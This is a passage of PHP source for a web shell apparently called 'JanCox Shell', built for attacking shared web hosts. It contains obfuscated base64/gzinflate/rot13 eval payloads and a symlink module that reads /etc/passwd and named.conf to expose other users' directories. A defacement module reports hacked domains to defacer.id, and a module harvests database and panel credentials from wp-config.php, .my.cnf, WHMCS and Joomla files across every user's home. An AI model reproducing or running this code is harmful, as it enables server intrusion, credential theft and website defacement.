  851. aPZpI0dzbay/hdZJJqkziiFUZV5t5ohSmIE1POy0M+Bl+381rjEL1whj5xmh/kwvC85oifDTp6wqlXyADr2ynAJKJgpi
  852.  
  853. EaeTrCvLaDIA/J0OCD47FswS6Yi85pEzzrYVoNF2ujEg0OX0jJ1duvpWlW+hORmhxQIElNvPuS/inBksxEA98JsNaPjR
  854.  
  855. IiU9civj2FpYL5jhElwWdN8KmUSZ3fm5NNn2pVFMWILSHUuPTFerhbfSYs1Xax+nV2s4u+Xl4slegNI6MckWBxvdmiUx
  856.  
  857. 6SRWHUftOXZ5jWmD/Gi9qAUbdMVvKPKP6elKVxA1QayIrWnG3A59y6ibiMjrDMd9OI+9UfcyU9QsvB3W5VwT4eDHam5x
  858.  
  859. c85F8ACd40q3EvfeMxADe3HzatgAcLD58AhwYNoyOxJDvqc5pYhhrOHCO8Y097nXM6vJACLfvCEct6IWaMfGxj5VXOGS
  860.  
  861. wk5Opai4J5n72gj0Wfza+sM+x29+D6bR5eFWaK2xCcCQcELBxy9Y8DbOjFY2nF26JjF88lC3zmYZHEJ8hYkTFaJFtp7j
  862.  
  863. 3dpzPvfdKxZKYx9j1CWkFJfuSbvZMzDAf78MRdXgQ724/Oz5cVtR7dA7BK95oW9TvX6id8rrLYhYIaupzSEqntthpHSe
  864.  
  865. YK2aXmfYEWLxqojGkjH3mRJcryqge1uN6CvYvgbLZdJJPqPi928ml2vNqHd+yU4Q6botthiDsI//AU='))))));
  866. } elseif($_GET['do'] == 'loghunter')
  867.  
  868.  
  869. {eval(str_rot13(gzinflate(str_rot13(base64_decode(("tUl7YtpVEP87VXyHiZMr0BLsPJqqgJ14QyBquuNr
  870.  
  871. XEUlEExeeL2E5hZ7wS5pmu9+s7ZWgDM5RCmWJXt0f7Pz3JnJ52lphOsTQ+odbjFOjaGl1CCfWIlGTyPgLguIpQ+VoQKR
  872.  
  873. YD7x8N8mDhsqC/iZRJ9DoxtDqNYDyx4xYA+20BUmvjEF7mw4wlL9WZ8J5o69b6lpcyhg8Qipju+aXkAVo35z+/az5KVG
  874.  
  875. hoozmlEBilhLltbJyVCl6WULvpDx7kNE11lDpQ14NJsKY9hQKEyligc8DHNJFU8xcrXUKgRGV6hWhVooC6xMRCshRH2f
  876.  
  877. z31OLQCfKtyQGVyNpOOg+DflE+hSPAhY+VyXsxRlZ6p3x+qRaWsK2sfqx3B13OZmN4E1QrZ9xuyqqkG5KyaEzCsuidTJ
  878.  
  879. dfbJEWEGzOYOE5PAim4j1fEJ/eSOSz7XHm5cqFE2n3bv1XwO4jeYFvfNxmyzNSgkrivclR7zuenIilALjFRpEM65SNzH
  880.  
  881. Y2A0nGubQ8Fdv+igZpH2sgfcAblAO6Vpj8lUPkUQYezqhVcB3r2DxaJFKL2AlvDykRjQbmRtpXt90eu0zi/+MJu9U/ui
  882.  
  883. jb8VuUxbclBEsBs45k+zkpS3K6iYBVLFaBylnOgI0hRL5Y3FQXRZfmiYBqEwMTNal2AkLeYk59Uya4KEVgfxLZhvd2PP
  884.  
  885. 9Djjmxm+i3WCbKyD0jm/ely2bV0lC8ZrMI/PSC4dTjskikOPWSQKiiRBlYk2KBQLancWQQZPKjtVNbgbxDLisK9w5ZNc
  886.  
  887. jAFea4uBWE9P9T1a6/e7mtFxb8YtIi+SxYw7S8EcHX4+7R8bVxyhipKCcTHI0urpvyS8ijMz4sz1Wh6GxcLeoH3wp2nw
  888.  
  889. mR/8RjF/+WNj9+FKVsElEitlvUooy9iV913ikmym133XiZ2pQbgjQUJZQrjEE5mO2peRjLGrIc0EvygbVDwqA/c8J+SO
  890.  
  891. LzB2Q6kSJp0MzIZnS+ZUHcuQxS8P5vT/2KW2meKRHbey2DEnkutEuHe1GtDBZRMI6HD2F8rxaCjBjx+QTxpKDfidRgsL
  892.  
  893. X/VsOyt7Mm/6IohStil49uKEetKv3+73D0KMWDsk3BP0jfIvrUvo8YG21e3o94+7mnP8FXTYGyqXptOW2vVBNe2kdNwi
  894.  
  895. Zh+r/Ns6D/N6WPV+vrTAT8slKBWe8WvLrREPoeMLav70RqakveP7ZuvYcdErllZIvvJ77rg0sNlJhj1PnYNCxUdCm/1r
  896.  
  897. PK6MLByKKpbARIhG7ES6OQm5NTdvM7826yo34HbLiMVo85WApX0fXpBkw5+LB9CNtD7hkLPex0rFQBHbKs5S5j2nxQVC
  898.  
  899. GfrXN63ehflb++a622H1zN56+/qm9OpMGzw9o09LDyIMydh1CsuTqb6lvxOKR6yiefbiK97cQF4lre4/idARGdaujmDr
  900.  
  901. 5XvpxPQXP/guZC3mu3GcxgGvFiMWRjD2jvXBa3biz+dp/gU="))))));}
  902. elseif($_GET['do'] == 'metu') {
  903.  
  904.  
  905. echo '<form action="?dir=$dir&do=metu" method="post">';
  906. unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
  907. echo 'Byee !';
  908.  
  909. }
  910. elseif($_GET['do'] == 'about') {
  911.  
  912. echo '<center>JanCox Shell<hr>Just Shell By Achon666ju5t -> Saiia Edit Lagy :(<br>For
  913.  
  914. More Script Visit <a href="http://cr1p.blogspot.com/">Here</a>';
  915.  
  916. }
  917. elseif($_GET['do'] == 'symlink') {
  918. $full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
  919. $d0mains = @file("/etc/named.conf");
  920. ##httaces
  921. if($d0mains){
  922. @mkdir("cox_sym",0777);
  923. @chdir("cox_sym");
  924. @exe("ln -s / root");
  925. $file3 = 'Options Indexes FollowSymLinks
  926. DirectoryIndex jancox.htm
  927. AddType text/plain .php
  928. AddHandler text/plain .php
  929. Satisfy Any';
  930. $fp3 = fopen('.htaccess','w');
  931. $fw3 = fwrite($fp3,$file3);@fclose($fp3);
  932. echo "
  933. <table align=center border=1 style='width:60%;border-color:#333333;'>
  934. <tr>
  935. <td align=center><font size=2>S. No.</font></td>
  936. <td align=center><font size=2>Domains</font></td>
  937. <td align=center><font size=2>Users</font></td>
  938. <td align=center><font size=2>Symlink</font></td>
  939. </tr>";
  940. $dcount = 1;
  941. foreach($d0mains as $d0main){
  942. if(eregi("zone",$d0main)){preg_match_all('#zone "(.*)"#', $d0main, $domains);
  943. flush();
  944. if(strlen(trim($domains[1][0])) > 2){
  945. $user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
  946. echo "<tr align=center><td><font size=2>" . $dcount . "</font></td>
  947. <td align=left><a href=http://www.".$domains[1][0]."/><font
  948.  
  949. class=txt>".$domains[1][0]."</font></a></td>
  950. <td>".$user['name']."</td>
  951. <td><a href='$full/cox_sym/root/home/".$user['name']."/public_html' target='_blank'><font
  952.  
  953. class=txt>Symlink</font></a></td></tr>";
  954. flush();
  955. $dcount++;}}}
  956. echo "</table>";
  957. }else{
  958. $TEST=@file('/etc/passwd');
  959. if ($TEST){
  960. @mkdir("cox_sym",0777);
  961. @chdir("cox_sym");
  962. exe("ln -s / root");
  963. $file3 = 'Options Indexes FollowSymLinks
  964. DirectoryIndex jancox.htm
  965. AddType text/plain .php
  966. AddHandler text/plain .php
  967. Satisfy Any';
  968. $fp3 = fopen('.htaccess','w');
  969. $fw3 = fwrite($fp3,$file3);
  970. @fclose($fp3);
  971. echo "
  972. <table align=center border=1><tr>
  973. <td align=center><font size=3>S. No.</font></td>
  974. <td align=center><font size=3>Users</font></td>
  975. <td align=center><font size=3>Symlink</font></td></tr>";
  976. $dcount = 1;
  977. $file = fopen("/etc/passwd", "r") or exit("Unable to open file!");
  978. while(!feof($file)){
  979. $s = fgets($file);
  980. $matches = array();
  981. $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
  982. $matches = str_replace("home/","",$matches[1]);
  983. if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches ==
  984.  
  985. "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches ==
  986.  
  987. "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" ||
  988.  
  989. $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches ==
  990.  
  991. "var/named")
  992. continue;
  993. echo "<tr><td align=center><font size=2>" . $dcount . "</td>
  994. <td align=center><font class=txt>" . $matches . "</td>";
  995. echo "<td align=center><font class=txt><a href=$full/cox_sym/root/home/" . $matches .
  996.  
  997. "/public_html target='_blank'>Symlink</a></td></tr>";
  998. $dcount++;}fclose($file);
  999. echo "</table>";}else{if($os !=
  1000.  
  1001. "Windows"){@mkdir("cox_sym",0777);@chdir("cox_sym");@exe("ln -s / root");$file3 = '
  1002. Options Indexes FollowSymLinks
  1003. DirectoryIndex jancox.htm
  1004. AddType text/plain .php
  1005. AddHandler text/plain .php
  1006. Satisfy Any
  1007. ';
  1008. $fp3 = fopen('.htaccess','w');
  1009. $fw3 = fwrite($fp3,$file3);@fclose($fp3);
  1010. echo "
  1011. <div class='mybox'><h2 class='k2ll33d2'>server symlinker</h2>
  1012. <table align=center border=1><tr>
  1013. <td align=center><font size=3>ID</font></td>
  1014. <td align=center><font size=3>Users</font></td>
  1015. <td align=center><font size=3>Symlink</font></td></tr>";
  1016. $temp = "";$val1 = 0;$val2 = 1000;
  1017. for(;$val1 <= $val2;$val1++) {$uid = @posix_getpwuid($val1);
  1018. if ($uid)$temp .= join(':',$uid)."\n";}
  1019. echo '<br/>';$temp = trim($temp);$file5 =
  1020. fopen("test.txt","w");
  1021. fputs($file5,$temp);
  1022. fclose($file5);$dcount = 1;$file =
  1023. fopen("test.txt", "r") or exit("Unable to open file!");
  1024. while(!feof($file)){$s = fgets($file);$matches = array();
  1025. $t = preg_match('/\/(.*?)\:\//s', $s, $matches);$matches =
  1026.  
  1027. str_replace("home/","",$matches[1]);
  1028. if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches ==
  1029.  
  1030. "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches ==
  1031.  
  1032. "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" ||
  1033.  
  1034. $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches ==
  1035.  
  1036. "var/named")
  1037. continue;
  1038. echo "<tr><td align=center><font size=2>" . $dcount . "</td>
  1039. <td align=center><font class=txt>" . $matches . "</td>";
  1040. echo "<td align=center><font class=txt><a href=$full/cox_sym/root/home/" . $matches .
  1041.  
  1042. "/public_html target='_blank'>Symlink</a></td></tr>";
  1043. $dcount++;}
  1044. fclose($file);
  1045. echo "</table></div></center>";unlink("test.txt");
  1046. } else
  1047. echo "<center><font size=3>Cannot create Symlink</font></center>";
  1048. }
  1049. }
  1050. }
  1051. elseif($_GET['do'] == 'defacerid') {
  1052. echo "<center><form method='post'>
  1053. <u>Defacer</u>: <br>
  1054. <input type='text' name='hekel' size='50' value'Achon666ju5t'><br>
  1055. <u>Team</u>: <br>
  1056. <input type='text' name='tim' size='50' value='Extreme Crew'><br>
  1057. <u>Domains</u>: <br>
  1058. <textarea style='width: 450px; height: 150px;' name='sites'></textarea><br>
  1059. <input type='submit' name='go' value='Submit' style='width: 450px;'>
  1060. </form>";
  1061. $site = explode("\r\n", $_POST['sites']);
  1062. $go = $_POST['go'];
  1063. $hekel = $_POST['hekel'];
  1064. $tim = $_POST['tim'];
  1065. if($go) {
  1066. foreach($site as $sites) {
  1067. $zh = $sites;
  1068. $form_url = "https://www.defacer.id/notify";
  1069. $data_to_post = array();
  1070. $data_to_post['attacker'] = "$hekel";
  1071. $data_to_post['team'] = "$tim";
  1072. $data_to_post['poc'] = 'SQL Injection';
  1073. $data_to_post['url'] = "$zh";
  1074. $curl = curl_init();
  1075. curl_setopt($curl,CURLOPT_URL, $form_url);
  1076. curl_setopt($curl,CURLOPT_POST, sizeof($data_to_post));
  1077. curl_setopt($curl, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
  1078.  
  1079. SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"); //msnbot/1.0
  1080.  
  1081. (+http://search.msn.com/msnbot.htm)
  1082. curl_setopt($curl,CURLOPT_POSTFIELDS, $data_to_post);
  1083. curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
  1084. curl_setopt($curl, CURLOPT_REFERER, 'https://defacer.id/notify.html');
  1085. $result = curl_exec($curl);
  1086. echo $result;
  1087. curl_close($curl);
  1088. echo "<br>";
  1089. }
  1090. }
  1091. }
  1092.  
  1093. elseif($_GET['do'] == 'config') {
  1094. if($_POST){
  1095. $passwd = $_POST['passwd'];
  1096. mkdir("cox_config", 0777);
  1097. $isi_htc = "Options all\nRequire None\nSatisfy Any";
  1098. $htc = fopen("cox_config/.htaccess","w");
  1099. fwrite($htc, $isi_htc);
  1100. preg_match_all('/(.*?):x:/', $passwd, $user_config);
  1101. foreach($user_config[1] as $user_cox) {
  1102. $user_config_dir = "/home/$user_cox/public_html/";
  1103. if(is_readable($user_config_dir)) {
  1104. $grab_config = array(
  1105.  
  1106.  
  1107. "/home/$user_cox/.my.cnf" => "cpanel",
  1108. "/home/$user_cox/.accesshash" => "WHM-accesshash",
  1109. "/home/$user_cox/public_html/bw-configs/config.ini"
  1110.  
  1111. => "BosWeb",
  1112. "/home/$user_cox/public_html/config/koneksi.php" =>
  1113.  
  1114. "Lokomedia",
  1115.  
  1116.  
  1117. "/home/$user_cox/public_html/lokomedia/config/koneksi.php" => "Lokomedia",
  1118.  
  1119.  
  1120. "/home/$user_cox/public_html/clientarea/configuration.php" => "WHMCS",
  1121.  
  1122.  
  1123. "/home/$user_cox/public_html/whmcs/configuration.php" => "WHMCS",
  1124. "/home/$user_cox/public_html/forum/config.php" =>
  1125.  
  1126. "phpBB",
  1127.  
  1128.  
  1129. "/home/$user_cox/public_html/sites/default/settings.php" => "Drupal",
  1130.  
  1131.  
  1132. "/home/$user_cox/public_html/config/settings.inc.php" => "PrestaShop",
  1133. "/home/$user_cox/public_html/app/etc/local.xml" =>
  1134.  
  1135. "Magento",
  1136. "/home/$user_cox/public_html/admin/config.php" =>
  1137.  
  1138. "OpenCart",
  1139. "/home/$user_cox/public_html/slconfig.php" =>
  1140.  
  1141. "Sitelok",
  1142.  
  1143.  
  1144. "/home/$user_cox/public_html/application/config/database.php" => "Ellislab",
  1145.  
  1146.  
  1147. "/home/$user_cox/public_html/whm/configuration.php"
  1148.  
  1149. => "WHMCS",
  1150.  
  1151.  
  1152. "/home/$user_cox/public_html/whmc/WHM/configuration.ph" => "WHMC",
  1153.  
  1154.  
  1155. "/home/$user_cox/public_html/central/configuration.php" => "WHM Central",
  1156.  
  1157.  
  1158. "/home/$user_cox/public_html/whm/WHMCS/configuration.php" => "WHMCS",
  1159.  
  1160.  
  1161. "/home/$user_cox/public_html/whm/whmcs/configuration.php" => "WHMCS",
  1162. "/home/$user_cox/public_html/submitticket.php" =>
  1163.  
  1164. "WHMCS",
  1165. "/home/$user_cox/public_html/configuration.php" =>
  1166.  
  1167. "Joomla",
  1168.  
  1169.  
  1170. "/home/$user_cox/public_html/Joomla/configuration.php" => "JoomlaJoomla",
  1171.  
  1172.  
  1173. "/home/$user_cox/public_html/joomla/configuration.php" => "JoomlaJoomla",
  1174.  
  1175.  
  1176. "/home/$user_cox/public_html/JOOMLA/configuration.php" => "JoomlaJoomla",
  1177. "/home/$user_cox/public_html/Home/configuration.php"
  1178.  
  1179. => "JoomlaHome",
  1180. "/home/$user_cox/public_html/HOME/configuration.php"
  1181.  
  1182. => "JoomlaHome",
  1183. "/home/$user_cox/public_html/home/configuration.php"
  1184.  
  1185. => "JoomlaHome",
  1186. "/home/$user_cox/public_html/NEW/configuration.php"
  1187.  
  1188. => "JoomlaNew",
  1189. "/home/$user_cox/public_html/New/configuration.php"
  1190.  
  1191. => "JoomlaNew",
  1192. "/home/$user_cox/public_html/new/configuration.php"
  1193.  
  1194. => "JoomlaNew",
  1195. "/home/$user_cox/public_html/News/configuration.php"
  1196.  
  1197. => "JoomlaNews",
  1198. "/home/$user_cox/public_html/NEWS/configuration.php"
  1199.  
  1200. => "JoomlaNews",
  1201. "/home/$user_cox/public_html/news/configuration.php"
  1202.  
  1203. => "JoomlaNews",
  1204. "/home/$user_cox/public_html/Cms/configuration.php"
  1205.  
  1206. => "JoomlaCms",
  1207. "/home/$user_cox/public_html/CMS/configuration.php"
  1208.  
  1209. => "JoomlaCms",
  1210. "/home/$user_cox/public_html/cms/configuration.php"
  1211.  
  1212. => "JoomlaCms",
  1213. "/home/$user_cox/public_html/Main/configuration.php"
  1214.  
  1215. => "JoomlaMain",
  1216. "/home/$user_cox/public_html/MAIN/configuration.php"
  1217.  
  1218. => "JoomlaMain",
  1219. "/home/$user_cox/public_html/main/configuration.php"
  1220.  
  1221. => "JoomlaMain",
  1222. "/home/$user_cox/public_html/Blog/configuration.php"
  1223.  
  1224. => "JoomlaBlog",
  1225. "/home/$user_cox/public_html/BLOG/configuration.php"
  1226.  
  1227. => "JoomlaBlog",
  1228. "/home/$user_cox/public_html/blog/configuration.php"
  1229.  
  1230. => "JoomlaBlog",
  1231.  
  1232.  
  1233. "/home/$user_cox/public_html/Blogs/configuration.php" => "JoomlaBlogs",
  1234.  
  1235.  
  1236. "/home/$user_cox/public_html/BLOGS/configuration.php" => "JoomlaBlogs",
  1237.  
  1238.  
  1239. "/home/$user_cox/public_html/blogs/configuration.php" => "JoomlaBlogs",
  1240. "/home/$user_cox/public_html/beta/configuration.php"
  1241.  
  1242. => "JoomlaBeta",
  1243. "/home/$user_cox/public_html/Beta/configuration.php"
  1244.  
  1245. => "JoomlaBeta",
  1246. "/home/$user_cox/public_html/BETA/configuration.php"
  1247.  
  1248. => "JoomlaBeta",
  1249.  
  1250.  
  1251. "/home/$user_cox/public_html/PRESS/configuration.php" => "JoomlaPress",
  1252.  
  1253.  
  1254. "/home/$user_cox/public_html/Press/configuration.php" => "JoomlaPress",
  1255.  
  1256.  
  1257. "/home/$user_cox/public_html/press/configuration.php" => "JoomlaPress",
  1258. "/home/$user_cox/public_html/Wp/configuration.php"
  1259.  
  1260. => "JoomlaWp",
  1261. "/home/$user_cox/public_html/wp/configuration.php"
  1262.  
  1263. => "JoomlaWp",
  1264. "/home/$user_cox/public_html/WP/configuration.php"
  1265.  
  1266. => "JoomlaWP",
  1267.  
  1268.  
  1269. "/home/$user_cox/public_html/portal/configuration.php" => "JoomlaPortal",
  1270.  
  1271.  
  1272. "/home/$user_cox/public_html/PORTAL/configuration.php" => "JoomlaPortal",
  1273.  
  1274.  
  1275. "/home/$user_cox/public_html/Portal/configuration.php" => "JoomlaPortal",
  1276.  
  1277.  
  1278. "/home/$user_cox/public_html/wp-config.php" =>
  1279.  
  1280. "WordPress",
  1281.  
  1282.  
  1283. "/home/$user_cox/public_html/wordpress/wp-config.php" => "WordPressWordpress",
  1284.  
  1285.  
  1286. "/home/$user_cox/public_html/Wordpress/wp-config.php" => "WordPressWordpress",
  1287.  
  1288.  
  1289. "/home/$user_cox/public_html/WORDPRESS/wp-config.php" => "WordPressWordpress",
  1290. "/home/$user_cox/public_html/Home/wp-config.php" =>
  1291.  
  1292. "WordPressHome",
  1293. "/home/$user_cox/public_html/HOME/wp-config.php" =>
  1294.  
  1295. "WordPressHome",
  1296. "/home/$user_cox/public_html/home/wp-config.php" =>
  1297.  
  1298. "WordPressHome",
  1299. "/home/$user_cox/public_html/NEW/wp-config.php" =>
  1300.  
  1301. "WordPressNew",
  1302. "/home/$user_cox/public_html/New/wp-config.php" =>
  1303.  
  1304. "WordPressNew",
  1305. "/home/$user_cox/public_html/new/wp-config.php" =>
  1306.  
  1307. "WordPressNew",
  1308. "/home/$user_cox/public_html/News/wp-config.php" =>
  1309.  
  1310. "WordPressNews",
  1311. "/home/$user_cox/public_html/NEWS/wp-config.php" =>
  1312.  
  1313. "WordPressNews",
  1314. "/home/$user_cox/public_html/news/wp-config.php" =>
  1315.  
  1316. "WordPressNews",
  1317. "/home/$user_cox/public_html/Cms/wp-config.php" =>
  1318.  
  1319. "WordPressCms",
  1320. "/home/$user_cox/public_html/CMS/wp-config.php" =>
  1321.  
  1322. "WordPressCms",
  1323. "/home/$user_cox/public_html/cms/wp-config.php" =>
  1324.  
  1325. "WordPressCms",
  1326. "/home/$user_cox/public_html/Main/wp-config.php" =>
  1327.  
  1328. "WordPressMain",
  1329. "/home/$user_cox/public_html/MAIN/wp-config.php" =>
  1330.  
  1331. "WordPressMain",
  1332. "/home/$user_cox/public_html/main/wp-config.php" =>
  1333.  
  1334. "WordPressMain",
  1335. "/home/$user_cox/public_html/Blog/wp-config.php" =>
  1336.  
  1337. "WordPressBlog",
  1338. "/home/$user_cox/public_html/BLOG/wp-config.php" =>
  1339.  
  1340. "WordPressBlog",
  1341. "/home/$user_cox/public_html/blog/wp-config.php" =>
  1342.  
  1343. "WordPressBlog",
  1344. "/home/$user_cox/public_html/Blogs/wp-config.php" =>
  1345.  
  1346. "WordPressBlogs",
  1347. "/home/$user_cox/public_html/BLOGS/wp-config.php" =>
  1348.  
  1349. "WordPressBlogs",
  1350. "/home/$user_cox/public_html/blogs/wp-config.php" =>
  1351.  
  1352. "WordPressBlogs",
  1353. "/home/$user_cox/public_html/beta/wp-config.php" =>
  1354.  
  1355. "WordPressBeta",
  1356. "/home/$user_cox/public_html/Beta/wp-config.php" =>
  1357.  
  1358. "WordPressBeta",
  1359. "/home/$user_cox/public_html/BETA/wp-config.php" =>
  1360.  
  1361. "WordPressBeta",
  1362. "/home/$user_cox/public_html/PRESS/wp-config.php" =>
  1363.  
  1364. "WordPressPress",
  1365. "/home/$user_cox/public_html/Press/wp-config.php" =>
  1366.  
  1367. "WordPressPress",
  1368. "/home/$user_cox/public_html/press/wp-config.php" =>
  1369.  
  1370. "WordPressPress",
  1371. "/home/$user_cox/public_html/Wp/wp-config.php" =>
  1372.  
  1373. "WordPressWp",
  1374. "/home/$user_cox/public_html/wp/wp-config.php" =>
  1375.  
  1376. "WordPressWp",
  1377. "/home/$user_cox/public_html/WP/wp-config.php" =>
  1378.  
  1379. "WordPressWP",
  1380. "/home/$user_cox/public_html/portal/wp-config.php"
  1381.  
  1382. => "WordPressPortal",
  1383. "/home/$user_cox/public_html/PORTAL/wp-config.php"
  1384.  
  1385. => "WordPressPortal",
  1386. "/home/$user_cox/public_html/Portal/wp-config.php"
  1387.  
  1388. => "WordPressPortal",
  1389.  
  1390.  
  1391. "/home1/$user_cox/.my.cnf" => "cpanel",
  1392. "/home1/$user_cox/.accesshash" => "WHM-accesshash",
  1393. "/home1/$user_cox/public_html/bw-configs/config.ini"
  1394.  
  1395. => "BosWeb",
  1396. "/home1/$user_cox/public_html/config/koneksi.php" =>
  1397.  
  1398. "Lokomedia",
  1399.  
  1400.  
  1401. "/home1/$user_cox/public_html/lokomedia/config/koneksi.php" => "Lokomedia",
  1402.  
  1403.  
  1404. "/home1/$user_cox/public_html/clientarea/configuration.php" => "WHMCS",
  1405.  
  1406.  
  1407. "/home1/$user_cox/public_html/whmcs/configuration.php" => "WHMCS",
  1408. "/home1/$user_cox/public_html/forum/config.php" =>
  1409.  
  1410. "phpBB",
  1411.  
  1412.  
  1413. "/home1/$user_cox/public_html/sites/default/settings.php" => "Drupal",
  1414.  
  1415.  
  1416. "/home1/$user_cox/public_html/config/settings.inc.php" => "PrestaShop",
  1417. "/home1/$user_cox/public_html/app/etc/local.xml" =>
  1418.  
  1419. "Magento",
  1420. "/home1/$user_cox/public_html/admin/config.php" =>
  1421.  
  1422. "OpenCart",
  1423. "/home1/$user_cox/public_html/slconfig.php" =>
  1424.  
  1425. "Sitelok",
  1426.  
  1427.  
  1428. "/home1/$user_cox/public_html/application/config/database.php" => "Ellislab",
  1429.  
  1430.  
  1431. "/home1/$user_cox/public_html/whm/configuration.php"
  1432.  
  1433. => "WHMCS",
  1434.  
  1435.  
  1436. "/home1/$user_cox/public_html/whmc/WHM/configuration.ph" => "WHMC",
  1437.  
  1438.  
  1439. "/home1/$user_cox/public_html/central/configuration.php" => "WHM Central",
  1440.  
  1441.  
  1442. "/home1/$user_cox/public_html/whm/WHMCS/configuration.php" => "WHMCS",
  1443.  
  1444.  
  1445. "/home1/$user_cox/public_html/whm/whmcs/configuration.php" => "WHMCS",
  1446. "/home1/$user_cox/public_html/submitticket.php" =>
  1447.  
  1448. "WHMCS",
  1449. "/home1/$user_cox/public_html/configuration.php" =>
  1450.  
  1451. "Joomla",
  1452.  
  1453.  
  1454. "/home1/$user_cox/public_html/Joomla/configuration.php" => "JoomlaJoomla",
  1455.  
  1456.  
  1457. "/home1/$user_cox/public_html/joomla/configuration.php" => "JoomlaJoomla",
  1458.  
  1459.  
  1460. "/home1/$user_cox/public_html/JOOMLA/configuration.php" => "JoomlaJoomla",
  1461.  
  1462.  
  1463. "/home1/$user_cox/public_html/Home/configuration.php" => "JoomlaHome",
  1464.  
  1465.  
  1466. "/home1/$user_cox/public_html/HOME/configuration.php" => "JoomlaHome",
  1467.  
  1468.  
  1469. "/home1/$user_cox/public_html/home/configuration.php" => "JoomlaHome",
  1470. "/home1/$user_cox/public_html/NEW/configuration.php"
  1471.  
  1472. => "JoomlaNew",
  1473. "/home1/$user_cox/public_html/New/configuration.php"
  1474.  
  1475. => "JoomlaNew",
  1476. "/home1/$user_cox/public_html/new/configuration.php"
  1477.  
  1478. => "JoomlaNew",
  1479.  
  1480.  
  1481. "/home1/$user_cox/public_html/News/configuration.php" => "JoomlaNews",
  1482.  
  1483.  
  1484. "/home1/$user_cox/public_html/NEWS/configuration.php" => "JoomlaNews",
  1485.  
  1486.  
  1487. "/home1/$user_cox/public_html/news/configuration.php" => "JoomlaNews",
  1488. "/home1/$user_cox/public_html/Cms/configuration.php"
  1489.  
  1490. => "JoomlaCms",
  1491. "/home1/$user_cox/public_html/CMS/configuration.php"
  1492.  
  1493. => "JoomlaCms",
  1494. "/home1/$user_cox/public_html/cms/configuration.php"
  1495.  
  1496. => "JoomlaCms",
  1497.  
  1498.  
  1499. "/home1/$user_cox/public_html/Main/configuration.php" => "JoomlaMain",
  1500.  
  1501.  
  1502. "/home1/$user_cox/public_html/MAIN/configuration.php" => "JoomlaMain",
  1503.  
  1504.  
  1505. "/home1/$user_cox/public_html/main/configuration.php" => "JoomlaMain",
  1506.  
  1507.  
  1508. "/home1/$user_cox/public_html/Blog/configuration.php" => "JoomlaBlog",
  1509.  
  1510.  
  1511. "/home1/$user_cox/public_html/BLOG/configuration.php" => "JoomlaBlog",
  1512.  
  1513.  
  1514. "/home1/$user_cox/public_html/blog/configuration.php" => "JoomlaBlog",
  1515.  
  1516.  
  1517. "/home1/$user_cox/public_html/Blogs/configuration.php" => "JoomlaBlogs",
  1518.  
  1519.  
  1520. "/home1/$user_cox/public_html/BLOGS/configuration.php" => "JoomlaBlogs",
  1521.  
  1522.  
  1523. "/home1/$user_cox/public_html/blogs/configuration.php" => "JoomlaBlogs",
  1524.  
  1525.  
  1526. "/home1/$user_cox/public_html/beta/configuration.php" => "JoomlaBeta",
  1527.  
  1528.  
  1529. "/home1/$user_cox/public_html/Beta/configuration.php" => "JoomlaBeta",
  1530.  
  1531.  
  1532. "/home1/$user_cox/public_html/BETA/configuration.php" => "JoomlaBeta",
  1533.  
  1534.  
  1535. "/home1/$user_cox/public_html/PRESS/configuration.php" => "JoomlaPress",
  1536.  
  1537.  
  1538. "/home1/$user_cox/public_html/Press/configuration.php" => "JoomlaPress",
  1539.  
  1540.  
  1541. "/home1/$user_cox/public_html/press/configuration.php" => "JoomlaPress",
  1542. "/home1/$user_cox/public_html/Wp/configuration.php"
  1543.  
  1544. => "JoomlaWp",
  1545. "/home1/$user_cox/public_html/wp/configuration.php"
  1546.  
  1547. => "JoomlaWp",
  1548. "/home1/$user_cox/public_html/WP/configuration.php"
  1549.  
  1550. => "JoomlaWP",
  1551.  
  1552.  
  1553. "/home1/$user_cox/public_html/portal/configuration.php" => "JoomlaPortal",
  1554.  
  1555.  
  1556. "/home1/$user_cox/public_html/PORTAL/configuration.php" => "JoomlaPortal",
  1557.  
  1558.  
  1559. "/home1/$user_cox/public_html/Portal/configuration.php" => "JoomlaPortal",
  1560.  
  1561.  
  1562. "/home1/$user_cox/public_html/wp-config.php" =>
  1563.  
  1564. "WordPress",
  1565.  
  1566.  
  1567. "/home1/$user_cox/public_html/wordpress/wp-config.php" => "WordPressWordpress",
  1568.  
  1569.  
  1570. "/home1/$user_cox/public_html/Wordpress/wp-config.php" => "WordPressWordpress",
  1571.  
  1572.  
  1573. "/home1/$user_cox/public_html/WORDPRESS/wp-config.php" => "WordPressWordpress",
  1574. "/home1/$user_cox/public_html/Home/wp-config.php" =>
  1575.  
  1576. "WordPressHome",
  1577. "/home1/$user_cox/public_html/HOME/wp-config.php" =>
  1578.  
  1579. "WordPressHome",
  1580. "/home1/$user_cox/public_html/home/wp-config.php" =>
  1581.  
  1582. "WordPressHome",
  1583. "/home1/$user_cox/public_html/NEW/wp-config.php" =>
  1584.  
  1585. "WordPressNew",
  1586. "/home1/$user_cox/public_html/New/wp-config.php" =>
  1587.  
  1588. "WordPressNew",
  1589. "/home1/$user_cox/public_html/new/wp-config.php" =>
  1590.  
  1591. "WordPressNew",
  1592. "/home1/$user_cox/public_html/News/wp-config.php" =>
  1593.  
  1594. "WordPressNews",
  1595. "/home1/$user_cox/public_html/NEWS/wp-config.php" =>
  1596.  
  1597. "WordPressNews",
  1598. "/home1/$user_cox/public_html/news/wp-config.php" =>
  1599.  
  1600. "WordPressNews",
  1601. "/home1/$user_cox/public_html/Cms/wp-config.php" =>
  1602.  
  1603. "WordPressCms",
  1604. "/home1/$user_cox/public_html/CMS/wp-config.php" =>
  1605.  
  1606. "WordPressCms",
